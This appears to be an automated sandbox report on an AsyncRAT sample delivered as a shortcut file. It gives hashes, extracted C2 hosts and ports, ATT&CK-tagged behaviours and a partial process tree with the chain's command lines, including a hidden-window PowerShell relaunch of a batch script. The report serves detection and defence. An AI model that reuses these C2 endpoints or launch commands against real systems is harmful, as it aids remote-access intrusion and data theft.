asyncrat | bc5368ce2f8ee8694732302feb62ad901b8520423ecbdfda51d872f29dac6fd1

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RE_42002683_EG.lnk
Size 1KB
Sample260423-s85syshy8t
SHA256 bc5368ce2f8ee8694732302feb62ad901b8520423ecbdfda51d872f29dac6fd1
MD5 89efa8d1723b3f17988744d2b2bd57e3
SHA1 12a25e515d66b5766cce0d512e45897b1252db78
SHA512 9cb849ef71c37dda27a5b39127d4e5a5ca1f18bb9b183f82a47a4dfa21ffc196b69d907135ce760ec320529cb6ed6304d0cfc4ba8e45c1dc76c248cc13ad7e61
TLSH
T10431EF022FD14678F2B549715C33BB65D6BBF81A4A09C22E818419459C17F14D43DBF7
MD5 SHA1 SHA512 TLSH

Score

10^/10

jan 1[26]jan-26 collection defense_evasion discovery execution asyncrat donutloader loader persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

JAN 1[26]

32asinc.duckdns.org:4099
32asinc.duckdns.org:5801

Mutex

QInXiWdKHnTE

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Botnet

JAN-26

chessboard25.pakasak.com:3014
dzonebcp.duckdns.org:3014

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral1/memory/6216-7529-0x00000000011D0000-0x00000000011E2000-memory.dmp	family_asyncrat
behavioral1/memory/8232-7960-0x00000211E5FE0000-0x00000211E5FF6000-memory.dmp	family_asyncrat

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral1/memory/3272-0-0x0000000002650000-0x0000000002657000-memory.dmp	family_donutloader

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5188 created 3272	5188	python.exe	56
PID 3736 created 3272	3736	python.exe	56

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	4512	powershell.exe
44	4052	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7992	powershell.exe
4512	powershell.exe
3492	powershell.exe
3828	powershell.exe
3456	powershell.exe
4052	powershell.exe
1892	powershell.exe
4716	powershell.exe
4764	powershell.exe
4556	powershell.exe
4768	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 4 IoCs

pid	Process
5188	python.exe
1400	python.exe
9172	python.exe
3736	python.exe

Loads dropped DLL 44 IoCs

pid	Process
5188	python.exe
5188	python.exe
5188	python.exe
5188	python.exe
5188	python.exe
5188	python.exe
5188	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
1400	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
9172	python.exe
3736	python.exe
3736	python.exe
3736	python.exe
3736	python.exe
3736	python.exe
3736	python.exe
3736	python.exe

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	api.ipify.org

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
2216	tasklist.exe
3736	tasklist.exe
4512	tasklist.exe
1328	tasklist.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2104_503085866\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2104_309904386\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2104_309904386\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5696	chrome.exe
8464	msedge.exe
4192	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Delays execution with timeout.exe 8 IoCs

defense_evasion

pid	Process
1480	timeout.exe
3492	timeout.exe
5712	timeout.exe
1888	timeout.exe
6512	timeout.exe
2672	timeout.exe
5460	timeout.exe
6080	timeout.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134214330086771693"	msedge.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-312252282-3884318443-358092420-1000\{0305A969-8669-4BB4-8F5F-D7646231E881}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-312252282-3884318443-358092420-1000\{7E668979-4438-440D-B224-B6BB9B6B9BE4}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2072	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4864	rundll32.exe
4864	rundll32.exe
4556	powershell.exe
4556	powershell.exe
4512	powershell.exe
4512	powershell.exe
4768	powershell.exe
4768	powershell.exe
1892	powershell.exe
1892	powershell.exe
4716	powershell.exe
4716	powershell.exe
4764	powershell.exe
4764	powershell.exe
3492	powershell.exe
3492	powershell.exe
3828	powershell.exe
3828	powershell.exe
3456	powershell.exe
3456	powershell.exe
4052	powershell.exe
4052	powershell.exe
4052	powershell.exe
5188	python.exe
5708	explorer.exe
5708	explorer.exe
1724	chrome.exe
1724	chrome.exe
1724	chrome.exe
5708	explorer.exe
5708	explorer.exe
5696	chrome.exe
5696	chrome.exe
6112	chrome.exe
6112	chrome.exe
1724	chrome.exe
1724	chrome.exe
6052	chrome.exe
6052	chrome.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
8464	msedge.exe
8464	msedge.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
5708	explorer.exe
3736	python.exe
7992	powershell.exe
7992	powershell.exe
7992	powershell.exe
7992	powershell.exe
7992	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2104	msedge.exe
2104	msedge.exe
2104	msedge.exe
2104	msedge.exe
2104	msedge.exe
2104	msedge.exe
5188	python.exe
2104	msedge.exe
3736	python.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeIncreaseQuotaPrivilege	4764	powershell.exe
Token: SeSecurityPrivilege	4764	powershell.exe
Token: SeTakeOwnershipPrivilege	4764	powershell.exe
Token: SeLoadDriverPrivilege	4764	powershell.exe
Token: SeSystemProfilePrivilege	4764	powershell.exe
Token: SeSystemtimePrivilege	4764	powershell.exe
Token: SeProfSingleProcessPrivilege	4764	powershell.exe
Token: SeIncBasePriorityPrivilege	4764	powershell.exe
Token: SeCreatePagefilePrivilege	4764	powershell.exe
Token: SeBackupPrivilege	4764	powershell.exe
Token: SeRestorePrivilege	4764	powershell.exe
Token: SeShutdownPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeSystemEnvironmentPrivilege	4764	powershell.exe
Token: SeRemoteShutdownPrivilege	4764	powershell.exe
Token: SeUndockPrivilege	4764	powershell.exe
Token: SeManageVolumePrivilege	4764	powershell.exe
Token: 33	4764	powershell.exe
Token: 34	4764	powershell.exe
Token: 35	4764	powershell.exe
Token: 36	4764	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	2216	tasklist.exe
Token: SeDebugPrivilege	3736	tasklist.exe
Token: SeDebugPrivilege	4512	tasklist.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	1328	tasklist.exe
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeShutdownPrivilege	3272	Explorer.EXE
Token: SeCreatePagefilePrivilege	3272	Explorer.EXE
Token: SeDebugPrivilege	5708	explorer.exe
Token: SeDebugPrivilege	2072	notepad.exe
Token: SeShutdownPrivilege	1724	chrome.exe
Token: SeCreatePagefilePrivilege	1724	chrome.exe
Token: SeShutdownPrivilege	1724	chrome.exe
Token: SeCreatePagefilePrivilege	1724	chrome.exe
Token: SeDebugPrivilege	5696	chrome.exe
Token: SeShutdownPrivilege	1724	chrome.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
2104	msedge.exe
2104	msedge.exe
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
3272	Explorer.EXE
1724	chrome.exe
1724	chrome.exe
8728	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2072	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4864	4796	cmd.exe	86
PID 4864 wrote to memory of 3272	4864	rundll32.exe	56
PID 3272 wrote to memory of 1064	3272	Explorer.EXE	87
PID 1064 wrote to memory of 4852	1064	wscript.exe	88
PID 4852 wrote to memory of 4556	4852	cmd.exe	90
PID 4556 wrote to memory of 1676	4556	powershell.exe	91
PID 1676 wrote to memory of 412	1676	cmd.exe	93
PID 412 wrote to memory of 4512	412	cmd.exe	94
PID 3272 wrote to memory of 3552	3272	Explorer.EXE	95
PID 3552 wrote to memory of 1776	3552	wscript.exe	96
PID 1776 wrote to memory of 4768	1776	cmd.exe	98
PID 4768 wrote to memory of 2364	4768	powershell.exe	99
PID 2364 wrote to memory of 3312	2364	cmd.exe	101
PID 3312 wrote to memory of 1892	3312	cmd.exe	102
PID 2364 wrote to memory of 224	2364	cmd.exe	103
PID 224 wrote to memory of 4716	224	cmd.exe	104
PID 1676 wrote to memory of 1884	1676	cmd.exe	105
PID 1884 wrote to memory of 4764	1884	cmd.exe	106
PID 2364 wrote to memory of 1792	2364	cmd.exe	107
PID 1792 wrote to memory of 3492	1792	cmd.exe	108
PID 2364 wrote to memory of 4312	2364	cmd.exe	109
PID 4312 wrote to memory of 3828	4312	cmd.exe	110
PID 1676 wrote to memory of 4884	1676	cmd.exe	111
PID 2364 wrote to memory of 4348	2364	cmd.exe	113
PID 1676 wrote to memory of 2672	1676	cmd.exe	114
PID 4348 wrote to memory of 3456	4348	cmd.exe	115
PID 4884 wrote to memory of 2104	4884	msedge.exe	116
PID 2104 wrote to memory of 2376	2104	msedge.exe	117
PID 2104 wrote to memory of 3768	2104	msedge.exe	118
PID 2104 wrote to memory of 4192	2104	msedge.exe	119
PID 2104 wrote to memory of 3768	2104	msedge.exe	118
PID 2104 wrote to memory of 3768	2104	msedge.exe	118
PID 2104 wrote to memory of 3744	2104	msedge.exe	120
PID 2104 wrote to memory of 3744	2104	msedge.exe	120
PID 2104 wrote to memory of 4536	2104	msedge.exe	122
PID 2104 wrote to memory of 4444	2104	msedge.exe	121
PID 2104 wrote to memory of 4536	2104	msedge.exe	122
PID 2104 wrote to memory of 4536	2104	msedge.exe	122
PID 2104 wrote to memory of 4444	2104	msedge.exe	121
PID 2104 wrote to memory of 4444	2104	msedge.exe	121
PID 2104 wrote to memory of 1312	2104	msedge.exe	123
PID 2104 wrote to memory of 3136	2104	msedge.exe	124
PID 2104 wrote to memory of 1312	2104	msedge.exe	123
PID 2104 wrote to memory of 1312	2104	msedge.exe	123
PID 2104 wrote to memory of 3136	2104	msedge.exe	124
PID 2104 wrote to memory of 3136	2104	msedge.exe	124
PID 2364 wrote to memory of 2216	2364	cmd.exe	126
PID 2104 wrote to memory of 4296	2104	msedge.exe	127
PID 2104 wrote to memory of 4296	2104	msedge.exe	127
PID 2104 wrote to memory of 4296	2104	msedge.exe	127
PID 2364 wrote to memory of 1748	2364	cmd.exe	128
PID 2104 wrote to memory of 1608	2104	msedge.exe	130
PID 2104 wrote to memory of 1608	2104	msedge.exe	130
PID 2104 wrote to memory of 1608	2104	msedge.exe	130
PID 2104 wrote to memory of 5108	2104	msedge.exe	131
PID 2104 wrote to memory of 5108	2104	msedge.exe	131
PID 2104 wrote to memory of 784	2104	msedge.exe	134
PID 2104 wrote to memory of 784	2104	msedge.exe	134
PID 2364 wrote to memory of 3736	2364	cmd.exe	145
PID 2364 wrote to memory of 4108	2364	cmd.exe	136
PID 2364 wrote to memory of 4512	2364	cmd.exe	138
PID 2364 wrote to memory of 1876	2364	cmd.exe	139
PID 1676 wrote to memory of 4052	1676	cmd.exe	140
PID 2364 wrote to memory of 1328	2364	cmd.exe	141

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3256	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\RE_42002683_EG.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "logutil_5tcen6.dll",#1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4864
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\83e_NSPDRe .vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\NSPDRe .bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4556
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat" hidden
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1676
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }"
        7⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4512
      - C:\Windows\system32\cmd.exe
        
